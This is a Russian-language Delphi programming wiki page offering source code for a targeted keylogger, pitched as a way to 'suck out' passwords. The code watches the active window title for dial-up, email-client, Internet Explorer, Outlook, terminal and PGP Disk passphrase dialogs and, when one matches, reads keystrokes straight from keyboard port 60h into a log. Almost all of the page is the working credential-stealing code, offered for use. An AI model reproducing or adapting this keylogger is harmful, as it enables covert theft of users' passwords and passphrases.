Способ высосать пароли из едитов определенных программ
Материал из DRKB
Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).
unit ksf;
interface
uses
windows, Controls, Forms, StdCtrls, Classes, ExtCtrls;
type
Tf1 = class(TForm)
t1: TTimer;
m1: TMemo;
procedure t1t(Sender: TObject);
end;
var
f1: Tf1;
okey: Byte;
KAr: array[1..88] of PChar = ('-Esc-','1','2','3','4','5','6','7','8','9',
'0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
'[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';','''','`',
'-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
'-End-','-Down-','-PDn-','-Ins-','-Del-','','','-Unk-','F11','F12');
implementation
{$R *.DFM}
procedure Tf1.t1t(Sender: TObject);
var
key: Byte;
cap0: PChar;
cap1: string;
begin
GetMem(cap0, 255);
GetWindowText(GetforegroundWindow, cap0, 255); // title активного окна
cap1 := cap0;
FreeMem(cap0);
if (Pos('Connect To', cap1) <> 0) // DialUP
or (Pos('Установка связи', cap1) <> 0) // DialUP
or (Pos('Вход в систему', cap1) <> 0) // DialUP
or (Pos('EType Dialer', cap1) <> 0) // DialUP
or (Pos('p Networking', cap1) <> 0) // DialUP
or (Pos('p Connection', cap1) <> 0) // DialUP
or (Pos('Connecting to', cap1) <> 0) // DialUP
or (Pos('Connessione a', cap1) <> 0) // DialUP
or (Pos('Edit User - ', cap1) <> 0) // The Bat!
or (Pos('Мастер подключения к Интернету', cap1) <> 0) // MSIE, MSOutlook, etc
or (Pos('сетевого пароля', cap1) <> 0) // MSIE
or (Pos('Свойства: ', cap1) <> 0) // MSOutlook
or (Pos('Вход - ', cap1) <> 0) // MSOutlook
or (Pos(' - Receiving mail', cap1) <> 0) // The Bat!
or (Pos('Окно терминала', cap1) <> 0) // Terminal
or (Pos('Passphrase', cap1) <> 0) // PGP Disk
then
begin
asm
in al,60h // Читаем из 60h порта нажатую кнопку в al
mov key,al // Перемещаем код ключа из al в Key
end;
if okey <> key then
begin
okey := key;
if key <= 88 then // Ловим Key_Down код
m1.Text := m1.Text + kAr[Key]; // И берем по этому коду из массива строку
end;
end;
end;
Source: http://delphiworld.narod.ru/
ID: 04043